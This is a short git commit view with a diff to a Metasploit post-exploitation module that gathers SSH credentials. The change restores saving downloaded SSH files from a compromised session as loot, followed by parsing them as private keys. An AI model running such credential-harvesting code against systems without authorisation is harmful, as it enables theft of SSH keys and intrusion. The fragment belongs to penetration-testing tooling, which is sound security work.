Land #5184, restore store_loot for ssh_creds gatherer

bug/bundler_fix
Brent Cook 2015-04-24 13:55:06 -05:00
commit 4ffffa59fe
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
1 changed files with 2 additions and 1 deletions

View File

@ -61,7 +61,8 @@ class Metasploit3 < Msf::Post
data = read_file("#{path}#{sep}#{file}")
file = file.split(sep).last
print_good("Downloaded #{path}#{sep}#{file}")
loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
begin
key = SSHKey.new(data, :passphrase => "")